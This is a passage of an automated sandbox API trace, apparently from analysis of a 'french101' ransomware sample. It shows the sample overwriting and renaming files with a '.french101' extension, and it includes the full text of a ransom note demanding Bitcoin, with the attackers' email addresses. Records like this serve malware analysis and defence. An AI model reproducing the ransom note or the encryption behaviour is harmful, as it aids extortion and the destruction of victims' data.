lpLocalFileTime=0x19e838) returned 1 [0281.054] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.054] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0281.054] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0281.054] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.054] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0281.054] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.054] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0281.054] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.054] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.054] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.054] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.054] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0281.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.055] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0281.055] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0281.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0281.055] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0281.055] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0281.055] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0281.056] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0281.056] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0281.056] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.056] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.056] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x135c0 [0281.056] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.057] SetFilePointer (in: hFile=0x398, lDistanceToMove=79296, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x135c0 [0281.057] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0281.058] CloseHandle (hObject=0x398) returned 1 [0281.061] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.061] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.062] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x135c1 [0281.062] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.062] SetFilePointer (in: hFile=0x398, lDistanceToMove=79296, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x135c0 [0281.062] SetEndOfFile (hFile=0x398) returned 1 [0281.067] CloseHandle (hObject=0x398) returned 1 [0281.067] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.068] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.068] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x135c0 [0281.068] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.068] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.068] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.069] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.069] SetFilePointer (in: hFile=0x398, lDistanceToMove=58378, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xe40a [0281.069] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.070] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.070] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0281.070] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.070] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.070] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0281.070] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.070] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.070] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.070] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.085] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.085] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.086] SetFilePointer (in: hFile=0x398, lDistanceToMove=58378, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xe40a [0281.086] WriteFile (in: hFile=0x398, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.086] SetFilePointer (in: hFile=0x398, lDistanceToMove=79296, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x135c0 [0281.086] WriteFile (in: hFile=0x398, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0281.086] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0281.086] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.086] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.086] CloseHandle (hObject=0x398) returned 1 [0281.089] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\4Pd39KVyMIHvfDa80Cqz3QOqtA6DM=TGVUWsWAEwr6PWDk.french101" (normalized: "c:\\588bce7c90097ed212\\1044\\4pd39kvymihvfda80cqz3qoqta6dm=tgvuwswaewr6pwdk.french101")) returned 1 [0281.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\4Pd39KVyMIHvfDa80Cqz3QOqtA6DM=TGVUWsWAEwr6PWDk.french101" (normalized: "c:\\588bce7c90097ed212\\1044\\4pd39kvymihvfda80cqz3qoqta6dm=tgvuwswaewr6pwdk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.090] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0281.090] CloseHandle (hObject=0x398) returned 1 [0281.090] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\4Pd39KVyMIHvfDa80Cqz3QOqtA6DM=TGVUWsWAEwr6PWDk.french101", dwFileAttributes=0x80) returned 1 [0281.090] CloseHandle (hObject=0x398) returned 0 [0281.091] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.091] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.091] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.091] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.091] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.091] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.091] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.091] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.091] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.091] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0281.091] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da2d0 [0281.091] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0281.091] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0281.091] FindClose (in: hFindFile=0x6da2d0 | out: hFindFile=0x6da2d0) returned 1 [0281.092] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1044\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.092] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.092] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0281.092] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.092] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.092] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0281.092] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.092] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0281.092] CloseHandle (hObject=0x398) returned 1 [0281.093] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.093] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.093] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.093] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.093] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.093] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.093] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.093] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.093] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.093] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.093] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.093] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.093] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.093] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0281.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0281.196] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0281.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0281.197] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0281.197] GetLastError () returned 0x12 [0281.197] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0281.197] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.197] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.197] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.197] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.197] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.197] 